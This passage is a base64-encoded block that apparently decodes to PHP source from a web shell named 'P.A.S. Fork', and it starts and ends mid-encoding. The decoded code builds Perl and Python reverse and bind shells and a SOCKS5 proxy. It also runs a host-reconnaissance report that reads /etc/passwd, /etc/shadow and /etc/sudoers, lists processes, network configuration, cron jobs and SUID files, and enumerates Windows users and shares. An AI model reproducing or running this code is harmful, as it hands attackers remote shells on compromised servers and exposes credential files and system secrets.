DcmVhdGUgc29ja2V0OiAkISI7JzsKICAgICAgICAgICAgaWYgKCRrID09PSAnYmFja2Nvbm5lY3QucGVybCcpCiAgICAgICAgICAgICAgICAkcCAuPSAnJGE9aW5ldF9hdG9uKCInIC4gc3RydG9rKCcgJykgLiAnIikgb3IgZGllIiRmIENvbnZlcnQgaG9zdCBhZGRyZXNzOiAkISI7JHM9c29ja2FkZHJfaW4oJyAuIHN0cnRvaygnICcpIC4gJywkYSkgb3IgZGllIiRmIFBhY2tlZCBhZGRyZXNzOiAkISI7Y29ubmVjdChTLCRzKSBvciBkaWUiJGYgQ29ubmVjdDogJCEiOyRyPSJTIjsnOwogICAgICAgICAgICBlbHNlCiAgICAgICAgICAgICAgICAkcCAuPSAnc2V0c29ja29wdChTLFNPTF9TT0NLRVQsU09fUkVVU0VBRERSLDEpIG9yIHByaW50IiR3IFNldCBzb2NrZXQgb3B0aW9uczogJCFcbiI7JHM9c29ja2FkZHJfaW4oJyAuIHN0cnRvaygnICcpIC4gJyxpbmV0X2F0b24oIicgLiBnZXRDbWRPcHQoJERbJ2UnXSwgJ2EnLCAnMC4wLjAuMCcpIC4gJyIpKSBvciBkaWUiJGYgUGFja2VkIGFkZHJlc3M6ICQhIjtiaW5kKFMsJHMpIG9yIGRpZSIkZiBCaW5kIHNvY2tldDogJCEiOyc7CiAgICAgICAgICAgIGlmICgkayA9PT0gJ2JpbmRwb3J0LnBlcmwnKQogICAgICAgICAgICAgICAgJHAgLj0gJ2xpc3RlbihTLDEpIG9yIGRpZSIkZiBMaXN0ZW4gc29ja2V0OiAkISI7YWNjZXB0KEMsUykgb3IgZGllIiRmIEFjY2VwdCBjb25uZWN0aW9uOiAkISI7JHI9IkMiOyc7CiAgICAgICAgICAgIGlmICgkayA9PT0gJ3NvY2tzNS5wZXJsJykgewogICAgICAgICAgICAgICAgJHYgPSBnZXRDbWRPcHQoJERbJ2UnXSwgJ3MnLCAnJyk7CiAgICAgICAgICAgICAgICBpZiAoJHYpCiAgICAgICAgICAgICAgICAgICAgJHYgPSBleHBsb2RlKCc6JywgJHYpOwogICAgICAgICAgICAgICAgJHAgLj0gJ3VzZSB0aHJlYWRzO2xpc3RlbihTLFNPTUFYQ09OTikgb3IgZGllIiRmIExpc3RlbiBzb2NrZXQ6ICQhIjtwcmludCJbU3VjY10gU2VydmVyIHN1Y2Nlc3NmdWxseSBsYXVuY2hlZCFcbiI7Y2xvc2UoU1RESU4pO2Nsb3NlKFNURE9VVCk7Y2xvc2UoU1RERVJSKTtzdWIgcHJjc3N7JEMgPSAkX1swXTtzeXNyZWFkKCRDLCRiLDEpO2lmKCRiIG5lICJceDA1Iil7c2h1dGRvd24oJEMsMik7Y2xvc2UoJEMpO3JldHVybjt9c3lzcmVhZCgkQywkYiwxKTtzeXNyZWFkKCRDLCRiLG9yZCgkYikpO2lmKGluZGV4KCRiLCJceDAnIC4gKCR2ID8gJzInIDogJzAnKSAuICciKT09LTEpe3N5c3dyaXRlKCRDLCJceDA1XHhGRiIpO3NodXRkb3duKCRDLDApO2Nsb3NlKCRDKTtyZXR1cm47fXN5c3dyaXRlKCRDLCJceDA1XHgwJyAuICgkdiA/ICcyJyA6ICcwJykgLiAnIik7JzsKICAgICAgICAgICAgICAgIGlmICgkdikKICAgICAgICAgICAgICAgICAgICAkcCAuPSAnc3lzcmVhZCgkQywkYiwxKTtzeXNyZWFkKCRDLCRsLDEpO3N5c3JlYWQoJEMsJHUsb3JkKCRsKSk7c3lzcmVhZCgkQywkbCwxKTtzeXNyZWFkKCRDLCRwLG9yZCgkbCkpO2lmKCgkYiBuZSAiXHgwMSIpIHx8ICgkdSBuZSAiJyAuICR2WzBdIC4gJyIpIHx8ICgkcCBuZSAiJyAuICR2WzFdIC4gJyIpKXtzeXN3cml0ZSgkQywiXHgwMVx4RkYiKTtzaHV0ZG93bigkQywwKTtjbG9zZSgkQyk7cmV0dXJuO31zeXN3cml0ZSgkQywiXHgwMVx4MDAiKTsnOwogICAgICAgICAgICAgICAgJHAgLj0gJ3N5c3JlYWQoJEMsJGIsMSk7aWYoJGIgbmUgIlx4MDUiKXtzaHV0ZG93bigkQywyKTtjbG9zZSgkQyk7cmV0dXJuO31zeXNyZWFkKCRDLCRjLDEpO3N5c3JlYWQoJEMsJGIsMSk7aWYoJGIgbmUgIlx4MDAiKXtzaHV0ZG93bigkQywyKTtjbG9zZSgkQyk7cmV0dXJuO31zeXNyZWFkKCRDLCR0LDEpO2lmKCR0IGVxICJceDAxIil7c3lzcmVhZCgkQywkYSw0KTskZD0kYTt9ZWxzaWYoJHQgZXEgIlx4MDMiKXtzeXNyZWFkKCRDLCRhLDEpO3N5c3JlYWQoJEMsJGIsdW5wYWNrKCJjIiwkYSkpOyRhLj0kYjskZD1pbmV0X2F0b24oJGIpO31lbHNpZigkdCBlcSAiXHgwNCIpe3N5c3JlYWQoJEMsJGEsMTYpOyRkPSRhO31lbHNle3NodXRkb3duKCRDLDIpO2Nsb3NlKCRDKTtyZXR1cm47fXN5c3JlYWQoJEMsJGIsMik7JGEuPSRiO2lmKCRjIG5lICJceDAxIil7c3lzd3JpdGUoJEMsICJceDA1XHgwN1x4MDAiLiR0LiRhKTtzaHV0ZG93bigkQywwKTtjbG9zZSgkQyk7cmV0dXJuO31pZighc29ja2V0KEQsUEZfSU5FVCxTT0NLX1NUUkVBTSxnZXRwcm90b2J5bmFtZSgidGNwIikpIG9yICFjb25uZWN0KEQsc29ja2FkZHJfaW4odW5wYWNrKCJuIiwkYiksJGQpKSl7c3lzd3JpdGUoJEMsIlx4MDVceDA1XHgwMCIuJHQuJGEpO3NodXRkb3duKCRDLDApO2Nsb3NlKCRDKTtjbG9zZShEKTtyZXR1cm47fXN5c3dyaXRlKCRDLCJceDA1XHgwMFx4MDAiLiR0LiRhKTskbT0iIjskZmM9ZmlsZW5vKCRDKTskZmQ9ZmlsZW5vKEQpO3ZlYygkbSwkZmMsMSk9MTt2ZWMoJG0sJGZkLDEpPTE7ZG97JGM9JG07JHJjPS0xOyRyZD0tMTtpZihzZWxlY3QoJGMsdW5kZWYsdW5kZWYsMSkpe2lmKHZlYygkYywkZmMsMSkpeyRyYz1zeXNyZWFkKCRDLCRiLDEwMjQwKTtpZigkcmMpe3N5c3dyaXRlKEQsJGIpO319aWYodmVjKCRjLCRmZCwxKSl7JHJkPXN5c3JlYWQoRCwkYiwxMDI0MCk7aWYoJHJkKXtzeXN3cml0ZSgkQywkYik7fX19fXdoaWxlKCRyYyE9MCAmJiAkcmQhPTApO3NodXRkb3duKCRDLDIpO2Nsb3NlKCRDKTtzaHV0ZG93bihELDIpO2Nsb3NlKEQpO313aGlsZShhY2NlcHQoQyxTKSl7dGhyZWFkcy0+Y3JlYXRlKCJwcmNzcyIsQyk7fSc7CiAgICAgICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICAgICAkdiA9IGdldENtZE9wdCgkRFsnZSddLCAncycsIE5JWCA/ICcvYmluL3NoIC1pJyA6ICdjbWQnKTsKICAgICAgICAgICAgICAgICRwIC49ICdwcmludCJbT0tdIFN1Y2Nlc3NmdWwgY29ubmVjdGVkIVxuIjtvcGVuKFNURE9VVCwiPiYkciIpIG9yIGRpZSIkZiBSZWRpcmVjdCBTVERPVVQ6ICQhIjtwcmludCAiXG4jIFAuQS5TLiBGb3JrIHYuJyAuIFZFUiAuICcgJyAuICRrIC4gJ1xuXG4iO29wZW4oU1RESU4sICI8JiRyIikgb3IgZGllIiRmIFJlZGlyZWN0IFNURElOOiAkISI7b3BlbihTVERFUlIsIj4mU1RET1VUIikgb3IgcHJpbnQiJHcgUmVkaXJlY3QgU1RERVJSOiAkIVxuIjtleGVjKCInIC4gJHYgLiAnIikgb3IgZGllIiRmIFJ1biBzaGVsbCAoJyAuICR2IC4gJyk6ICQhIjsnOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRzID0gZ2V0Q21kT3B0KCREWydlJ10sICdpJywgTklYID8gJy91c3IvYmluL3BlcmwnIDogJ3BlcmwuZXhlJyk7CiAgICAgICAgICAgIGlmICgkdiA9IHRlbXBGaWxlKCRwKSkgewogICAgICAgICAgICAgICAgZXhlKCRzIC4gJyAnIC4gJHYgLiAnICYnLCAkRFsnZiddLCAkRFsncyddKTsKICAgICAgICAgICAgICAgIGRlbEZpbGUoJHYpOwogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgIGV4ZSgkcyAuICIgLWUgJyIgLiAkcCAuICInICYiLCAkRFsnZiddLCAkRFsncyddKTsKICAgICAgICB9IGVsc2VpZiAoaW5fYXJyYXkoJGssIGFycmF5KAogICAgICAgICAgICAnYmFja2Nvbm5lY3QucHl0aG9uJywKICAgICAgICAgICAgJ2JpbmRwb3J0LnB5dGhvbicsCiAgICAgICAgICAgICdzb2NrczUucHl0aG9uJwogICAgICAgICkpKSB7CiAgICAgICAgICAgICRwID0gInRyeTpcbiBpbXBvcnQgc3lzLHNvY2tldCI7CiAgICAgICAgICAgIGlmICgkayA9PT0gJ3NvY2tzNS5weXRob24nKQogICAgICAgICAgICAgICAgJHAgLj0gJyxzdHJ1Y3QsdGhyZWFkaW5nLHNlbGVjdCc7CiAgICAgICAgICAgIGVsc2UKICAgICAgICAgICAgICAgICRwIC49ICcsb3MsJyAuIChnZXRDbWRPcHQoJERbJ2UnXSwgJ3QnLCAnTicpID09PSAnTicgPyAnc3VicHJvY2VzcycgOiAncHR5Jyk7CiAgICAgICAgICAgICRwIC49ICI7XG4gUyA9IHNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQsc29ja2V0LlNPQ0tfU1RSRUFNKTtcbiI7CiAgICAgICAgICAgIGlmICgkayA9PT0gJ2JhY2tjb25uZWN0LnB5dGhvbicpIHsKICAgICAgICAgICAgICAgICRwIC49ICcgUy5jb25uZWN0KCgiJyAuIHN0cnRvaygnICcpIC4gJyIsJyAuIHN0cnRvaygnICcpIC4gIikpO1xuIjsKICAgICAgICAgICAgICAgICRzID0gJ1MnOwogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICRwIC49ICIgUy5zZXRzb2Nrb3B0KHNvY2tldC5TT0xfU09DS0VULCBzb2NrZXQuU09fUkVVU0VBRERSLCAxKTtcbiIgLiAnIFMuYmluZCgoIicgLiBnZXRDbWRPcHQoJERbJ2UnXSwgJ2EnLCAnJykgLiAnIiwnIC4gc3RydG9rKCcgJykgLiAiKSk7XG4gUy5saXN0ZW4oNSk7XG4iOwogICAgICAgICAgICBpZiAoJGsgPT09ICdiaW5kcG9ydC5weXRob24nKSB7CiAgICAgICAgICAgICAgICAkcCAuPSAiIChDLEEpID0gUy5hY2NlcHQoKTtcbiI7CiAgICAgICAgICAgICAgICAkcyA9ICdDJzsKICAgICAgICAgICAgfQogICAgICAgICAgICBpZiAoJGsgPT09ICdzb2NrczUucHl0aG9uJykgewogICAgICAgICAgICAgICAgJHYgPSBnZXRDbWRPcHQoJERbJ2UnXSwgJ3MnLCAnJyk7CiAgICAgICAgICAgICAgICBpZiAoJHYpCiAgICAgICAgICAgICAgICAgICAgJHYgPSBleHBsb2RlKCc6JywgJHYpOwogICAgICAgICAgICAgICAgJHAgLj0gImV4Y2VwdCBFeGNlcHRpb24gYXMgZTpcbiBwcmludChlKTtcbmVsc2U6XG4iIC4gJyBwcmludCgiW1N1Y2NdIFNlcnZlciBzdWNjZXNzZnVsbHkgbGF1bmNoZWQhIitjaHIoMTApKTsnIC4gIlxuIHN5cy5zdGRpbi5jbG9zZSgpO1xuIHN5cy5zdGRlcnIuY2xvc2UoKTtcbiBzeXMuc3Rkb3V0LmNsb3NlKCk7XG4gZGVmIHByY3NzKEMpOlxuIiAuICcgIGlmIEMucmVjdigxKSE9YiJceDA1IjonIC4gIlxuICAgQy5zaHV0ZG93bigyKTtcbiAgIEMuY2xvc2UoKTtcbiAgIHJldHVybjtcbiIgLiAnICBpZiBiIlx4MCcgLiAoJHYgPyAnMicgOiAnMCcpIC4gJyIgbm90IGluIEMucmVjdihzdHJ1Y3QudW5wYWNrKCJCIiwgQy5yZWN2KDEpKVswXSk6JyAuICJcbiIgLiAnICAgQy5zZW5kKGIiXHgwNVx4RkYiKTsnIC4gIlxuICAgQy5zaHV0ZG93bigwKTtcbiAgIEMuY2xvc2UoKTtcbiAgIHJldHVybjtcbiIgLiAnICBDLnNlbmQoYiJceDA1XHgwJyAuICgkdiA/ICcyJyA6ICcwJykgLiAnIik7JyAuICJcbiI7CiAgICAgICAgICAgICAgICBpZiAoJHYpCiAgICAgICAgICAgICAgICAgICAgJHAgLj0gJyAgaWYgKEMucmVjdigxKSE9YiJceDAxIikgb3IgKEMucmVjdihzdHJ1Y3QudW5wYWNrKCJCIiwgQy5yZWN2KDEpKVswXSkhPWIiJyAuICR2WzBdIC4gJyIpIG9yIChDLnJlY3Yoc3RydWN0LnVucGFjaygiQiIsIEMucmVjdigxKSlbMF0pIT1iIicgLiAkdlsxXSAuICciKTonIC4gIlxuIiAuICcgICBDLnNlbmQoYiJceDAxXHhGRiIpOycgLiAiXG4gICBDLnNodXRkb3duKDApO1xuICAgQy5jbG9zZSgpO1xuICAgcmV0dXJuO1xuIiAuICcgIEMuc2VuZChiIlx4MDFceDAwIik7JyAuICJcbiI7CiAgICAgICAgICAgICAgICAkcCAuPSAnICBpZiBDLnJlY3YoMSkhPWIiXHgwNSI6JyAuICJcbiAgIEMuc2h1dGRvd24oMik7XG4gICBDLmNsb3NlKCk7XG4gICByZXR1cm47XG4gIGMgPSBDLnJlY3YoMSk7XG4iIC4gJyAgaWYgQy5yZWN2KDEpIT1iIlx4MDAiOicgLiAiXG4gICBDLnNodXRkb3duKDIpO1xuICAgQy5jbG9zZSgpO1xuICAgcmV0dXJuO1xuICB0ID0gQy5yZWN2KDEpO1xuIiAuICcgIGlmIHQ9PWIiXHgwMSI6JyAuICJcbiAgIGEgPSBDLnJlY3YoNCk7XG4iIC4gJyAgIGQgPSBzb2NrZXQuaW5ldF9udG9hKGEpOycgLiAiXG4iIC4gJyAgZWxpZiB0PT1iIlx4MDMiOicgLiAiXG4gICBhID0gQy5yZWN2KDEpO1xuIiAuICcgICBkID0gQy5yZWN2KHN0cnVjdC51bnBhY2soIkIiLCBhKVswXSk7JyAuICJcbiAgIGEgKz0gZDtcbiIgLiAnICBlbGlmIHQ9PWIiXHgwNCI6JyAuICJcbiAgIGEgPSBDLnJlY3YoMTYpO1xuIiAuICcgICBkID0gc29ja2V0LmluZXRfbnRvcChzb2NrZXQuQUZfSU5FVDYsIGEpOycgLiAiXG4gIGVsc2U6XG4gICBDLnNodXRkb3duKDIpO1xuICAgQy5jbG9jZSgpO1xuICAgcmV0dXJuO1xuICBwID0gQy5yZWN2KDIpO1xuICBhICs9IHA7XG4iIC4gJyAgaWYgYyE9YiJceDAxIjonIC4gIlxuIiAuICcgICBDLnNlbmQoYiJceDA1XHgwN1x4MDAiK3QrYSk7JyAuICJcbiAgIEMuc2h1dGRvd24oMCk7XG4gICBDLmNsb3NlKCk7XG4gICByZXR1cm47XG4gIEQgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULHNvY2tldC5TT0NLX1NUUkVBTSk7XG4gIHRyeTpcbiIgLiAnICAgRC5jb25uZWN0KChkLCBzdHJ1Y3QudW5wYWNrKCI+SCIsIHApWzBdKSk7JyAuICJcbiAgZXhjZXB0OlxuIiAuICcgICBDLnNlbmQoYiJceDA1XHgwNVx4MDAiK3QrYSk7JyAuICJcbiAgIEMuc2h1dGRvd24oMCk7XG4gICBDLmNsb3NlKCk7XG4gICBELmNsb3NlKCk7XG4gIGVsc2U6XG4iIC4gJyAgIEMuc2VuZChiIlx4MDVceDAwXHgwMCIrdCthKTsnIC4gIlxuICAgQy5zZXRibG9ja2luZygwKTtcbiAgIEQuc2V0YmxvY2tpbmcoMCk7XG4gICB3aGlsZSBUcnVlOlxuICAgIHIsdyxlID0gc2VsZWN0LnNlbGVjdChbQyxEXSwgW10sIFtdKTtcbiAgICBpZiBsZW4ocik+MDpcbiAgICAgdHJ5OlxuICAgICAgZCA9IHJbMF0ucmVjdigxMDI0MCk7XG4gICAgICBpZiByWzBdPT1DOlxuICAgICAgIEQuc2VuZChkKTtcbiAgICAgIGVsc2U6XG4gICAgICAgQy5zZW5kKGQpO1xuICAgICBleGNlcHQ6XG4gICAgICBELmNsb3NlKCk7XG4gICAgICBDLmNsb3NlKCk7XG4gICAgICBicmVhaztcbiB3aGlsZSBUcnVlOlxuICAoQyxBKSA9IFMuYWNjZXB0KCk7XG4gIHQgPSB0aHJlYWRpbmcuVGhyZWFkKHRhcmdldD1wcmNzcyxhcmdzPShDLCkpO1xuICB0LmRhZW1vbiA9IFRydWU7XG4gIHQuc3RhcnQoKTsiOwogICAgICAgICAgICB9IGVsc2UKICAgICAgICAgICAgICAgICRwIC49ICcgcHJpbnQoIltPS10gU3VjY2Vzc2Z1bCBjb25uZWN0ZWQhXG4iKTsnIC4gIlxuIHN5cy5zdGRvdXQuZmx1c2goKTtcbiIgLiAnIG9zLmR1cDIoJyAuICRzIC4gIi5maWxlbm8oKSwwKTtcbiIgLiAnIG9zLmR1cDIoJyAuICRzIC4gIi5maWxlbm8oKSwxKTtcbiIgLiAnIG9zLmR1cDIoJyAuICRzIC4gIi5maWxlbm8oKSwyKTtcbiIgLiAnIHByaW50KCJcbiMgUC5BLlMuIEZvcmsgdi4nIC4gVkVSIC4gJyAnIC4gJGsgLiAnXG5cbiIpOycgLiAiXG4gc3lzLnN0ZG91dC5mbHVzaCgpO1xuICIgLiAoZ2V0Q21kT3B0KCREWydlJ10sICd0JywgJ04nKSA9PT0gJ04nID8gJ3N1YnByb2Nlc3MuUG9wZW4nIDogJ3B0eS5zcGF3bicpIC4gJyhbIicgLiBnZXRDbWRPcHQoJERbJ2UnXSwgJ3MnLCBOSVggPyAnL2Jpbi9zaCIsIi1pJyA6ICdjbWQnKSAuICciXSk7JyAuICJcbmV4Y2VwdCBFeGNlcHRpb24gYXMgZTpcbiIgLiAnIHByaW50KGUpOyc7CiAgICAgICAgICAgICRzID0gZ2V0Q21kT3B0KCREWydlJ10sICdpJywgTklYID8gJy91c3IvYmluL3B5dGhvbicgOiAncHl0aG9uLmV4ZScpOwogICAgICAgICAgICBpZiAoJHYgPSB0ZW1wRmlsZSgkcCkpIHsKICAgICAgICAgICAgICAgIGV4ZSgkcyAuICcgJyAuICR2IC4gJyAmJywgJERbJ2YnXSwgJERbJ3MnXSk7CiAgICAgICAgICAgICAgICBkZWxGaWxlKCR2KTsKICAgICAgICAgICAgfSBlbHNlCiAgICAgICAgICAgICAgICBleGUoImVjaG8gJyIgLiAkcCAuICInfCAiIC4gJHMgLiAnIC0gJicsICREWydmJ10sICREWydzJ10pOwogICAgICAgIH0gZWxzZWlmICgkayA9PT0gJ3JlcG9ydCcpIHsKICAgICAgICAgICAgJGkgPSBnZXRDbWRPcHQoJERbJ2UnXSwgJ3MnLCAnJyk7CiAgICAgICAgICAgIGlmIChOSVgpIHsKICAgICAgICAgICAgICAgICR0ID0gImVjaG8gJyAtLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tJzsiOwogICAgICAgICAgICAgICAgJGggPSAnZWNobztlY2hvOycgLiAkdCAuICJlY2hvICd8JyAgIjsKICAgICAgICAgICAgICAgICR2ID0gImVjaG8gJyogIFRoaXMgcmVwb3J0IGNyZWF0ZWQgYnkgUC5BLlMuIEZvcmsgdi4iIC4gVkVSIC4gIic7ZWNobyAnKiAgJ2BkYXRlIC11ICsnJVktJW0tJWQgJUg6JU06JVMgJVonYDsiOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ28nKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJGggLiAnT1MgSWRlbnRpZmljYXRpb247JyAuICR0IC4gImVjaG8gJz09PiB1bmFtZSA8PT0nOyIgLiAndW5hbWUgLWE7ZWNobzt0YWlsIC1uICsxIC9wcm9jLyp2ZXJzaW9uKiAvZXRjLyppc3N1ZSogL2V0Yy8qcmVsZWFzZSogL2V0Yy8qdmVyc2lvbiogL2V0Yy9tb3RkOyc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAnZScpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdFbnZpcm9ubWVudDsnIC4gJHQgLiAnZW52Oyc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAndScpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdVc2VycyBhbmQgR3JvdXBzOycgLiAkdCAuICJlY2hvICc9PT4gaWQgPD09JzsiIC4gJ2lkO2VjaG87JyAuICJlY2hvICc9PT4gd2hvYW1pIDw9PSc7IiAuICd3aG9hbWk7ZWNobzt0YWlsIC1uICsxIC9ldGMvKnBhc3N3ZCogL2V0Yy8qZ3JvdXAqIC9ldGMvKnNoYWRvdyogL2V0Yy9zdWRvZXJzO2VjaG87JyAuICJlY2hvICc9PT4gd2hvIDw9PSc7IiAuICd3aG87JzsKICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGksICdsJykgPT09IEZBTFNFKQogICAgICAgICAgICAgICAgICAgICR2IC49ICRoIC4gJ0xhbmc7JyAuICR0IC4gJ3BocCAtdnxoZWFkIC1uMTtweXRob24gLVYgMj4mMTtwZXJsIC12fGhlYWQgLW4yfHRhaWwgLW4xO3J1YnkgLXY7Z2NjIC0tdmVyc2lvbnxoZWFkIC1uMTsnOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ3AnKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJGggLiAnUHJvY2Vzc2VzOycgLiAkdCAuICdwcyAtdWF4Oyc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAnYycpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdDUFU7JyAuICR0IC4gJ2NhdCAvcHJvYy9jcHVpbmZvOyc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAnbicpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdOZXR3b3JrOycgLiAkdCAuICd0YWlsIC1uICsxIC9ldGMvaG9zdCo7JyAuICJlY2hvICc9PT4gTGlzdGVuaW5nIHBvcnRzIDw9PSc7IiAuICduZXRzdGF0IC1sbjsnIC4gImVjaG8gJz09PiBJUCBjb25maWcgPD09JzsiIC4gJ2lmY29uZmlnIC1hOyBpcCBhOyc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAncicpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdDcm9uOycgLiAkdCAuICd0YWlsIC1uICsxIC9ldGMvKmNyb250YWI7JyAuICJlY2hvICc9PT4gRmlsZXMgPD09JzsiIC4gJ2xzIC1hbCAvZXRjLypjcm9uKjtscyAtYWwgL3Zhci9zcG9vbC9jcm9uLyo7ZWNobzsnOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ2gnKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJGggLiAnSGlzdG9yaWVzOycgLiAkdCAuICdmb3IgZCBpbiBgY3V0IC1kIjoiIC1mNiAvZXRjL3Bhc3N3ZGA7ZG8gbHMgLWFsICRkLy4qaGlzdCo7ZG9uZTsnOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ2YnKSA9PT0gRkFMU0UpIHsKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdGaWxlIFN5c3RlbTsnIC4gJHQgLiAiZWNobyAnPT0+IG1vdW50IDw9PSc7bW91bnQ7ZWNobztlY2hvICc9PT4gRGlza3MgPD09JztkZiAtaDtlY2hvO2VjaG8gJz09PiAvIDw9PSc7bHMgLWFsIC87ZWNobztlY2hvICc9PT4gL2Jvb3QgPD09JztscyAtYWwgL2Jvb3Q7ZWNobztlY2hvICc9PT4gL2V0YyA8PT0nO2xzIC1hbCAvZXRjO2VjaG87ZWNobyAnPT0+IC90bXAgPD09JztscyAtYWwgL3RtcDtlY2hvO2VjaG8gJz09PiBMaWJzIDw9PSc7bHMgLWFsIC0tZnVsbC10aW1lIC9saWIqO2VjaG87IjsKICAgICAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAncycpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAgICAgJHYgLj0gImVjaG8gJz09PiBTVUlEIEZpbGVzIDw9PSc7IiAuICdmaW5kIC8gLXR5cGUgZiAtcGVybSAtdStzIC1sczsnOwogICAgICAgICAgICAgICAgfQogICAgICAgICAgICB9IGVsc2UgewogICAgICAgICAgICAgICAgJHQgPSAnZWNobyAgLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLS0tLSAmICc7CiAgICAgICAgICAgICAgICAkaCA9ICR0IC4gJ2VjaG8gXnwgICc7CiAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdPUyAmJyAuICR0IC4gJ3JlZyBxdWVyeSAiSEtFWV9MT0NBTF9NQUNISU5FXFNPRlRXQVJFXE1pY3Jvc29mdFxXaW5kb3dzIE5UXEN1cnJlbnRWZXJzaW9uIiAvdiBQcm9kdWN0TmFtZSAmICc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAncycpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdTeXN0ZW0gSW5mbyAmICcgLiAkdCAuICdzeXN0ZW1pbmZvICYgJzsKICAgICAgICAgICAgICAgIGlmIChzdHJwb3MoJGksICdlJykgPT09IEZBTFNFKQogICAgICAgICAgICAgICAgICAgICR2IC49ICRoIC4gJ0Vudmlyb25tZW50ICYgJyAuICR0IC4gJ1NFVCAmICc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAndScpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdVc2VycyBhbmQgR3JvdXBzICYgJyAuICR0IC4gJ05FVCBVU0VSICYgTkVUIExPQ0FMR1JPVVAgJiBORVQgR1JPVVAgJiAnOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ3QnKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJGggLiAnVGFza3MgJiAnIC4gJHQgLiAnc2NodGFza3MgL3YgJiAnOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ3QnKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJGggLiAnUHJvY2Vzc2VzICYgJyAuICR0IC4gJ3Rhc2tsaXN0IC9TVkMgJiAnOwogICAgICAgICAgICAgICAgaWYgKHN0cnBvcygkaSwgJ24nKSA9PT0gRkFMU0UpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJGggLiAnTmV0d29yayAmICcgLiAkdCAuICdlY2hvID09Xj4gaXBjb25maWcgXjw9PSAmIGlwY29uZmlnIC9hbGwgJiBlY2hvID09Xj4gbmV0c3RhdCBePD09ICYgbmV0c3RhdCAtYW5vICYgZWNobyA9PV4+IEZpbGVzIF48PT0gJiB0eXBlICVzeXN0ZW1yb290JVxcc3lzdGVtMzJcXGRyaXZlcnNcXGV0Y1xcKiAmICc7CiAgICAgICAgICAgICAgICBpZiAoc3RycG9zKCRpLCAncicpID09PSBGQUxTRSkKICAgICAgICAgICAgICAgICAgICAkdiAuPSAkaCAuICdTaGFyZSAmICcgLiAkdCAuICdORVQgU0hBUkUgJiAnOwogICAgICAgICAgICB9CiAgICAgICAgICAgICRpID0gZ2V0Q21kT3B0KCREWydlJ10sICdmJywgRkFMU0UpOwogICAgICAgICAgICBleGUoJHYsICREWydmJ10sICREWydzJ10sIFRSVUUsICRpID8gJyAxPicgLiAkaSA6ICcnKTsKICAgICAgICAgICAgaWYgKCRpKQogICAgICAgICAgICAgICAgZWNobyAnUmVwb3J0IHNhdmVkIGFzICcsICRpLCAiXG4iOwogICAgICAgIH0gZWxzZSB7CiAgICAgICAgICAgICRzID0gTklYID8gJzsnIDogJyYnOwogICAgICAgICAgICAkdiA9ICdjZCAnIC4gKE5JWCA/IG5lc2MoJERbJ3AnXSkgOiB3ZXNjKCREWydwJ10pKSAuICRzOwogICAgICAgICAgICBpZiAoJERbJ2UnXSAhPT0gJycpIHsKICAgICAgICAgICAgICAgICR2IC49ICREWydlJ107CiAgICAgICAgICAgICAgICBpZiAoc3Vic3RyKCREWydlJ10sIC0xKSAhPT0gJHMpCiAgICAgICAgICAgICAgICAgICAgJHYgLj0gJHM7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJHYgLj0gJ2VjaG8gJyAuICJceDAzXHgxRVx4MDIiIC4gJHMgLiAoTklYID8gJ3dob2FtaScgOiAnZWNobyAldXNlcm5hbWUlJykgLiAkcyAuICdob3N0bmFtZScgLiAkcyAuIChOSVggPyAncHdkJyA6ICdjZCcpOwogICAgICAgICAgICBleGUoJHYsICREWydmJ10sICREWydzJ10sICFpc3NldCgkRFsnaCddKSk7CiAgICAgICAgfQogICAgICAgIHNEaWUoIlx4MDNceDFFXHgxN1x4MDRceDEwIik7CiAgICAgICAgYnJlYWs7CiAgICBkZWZhdWx0OgogICAgICAgIGlmICgkRFsndCddID09PSAnbScpIHsKICAgICAgICAgICAgaW5mTWFpbigpOwogICAgICAgICAgICBzRG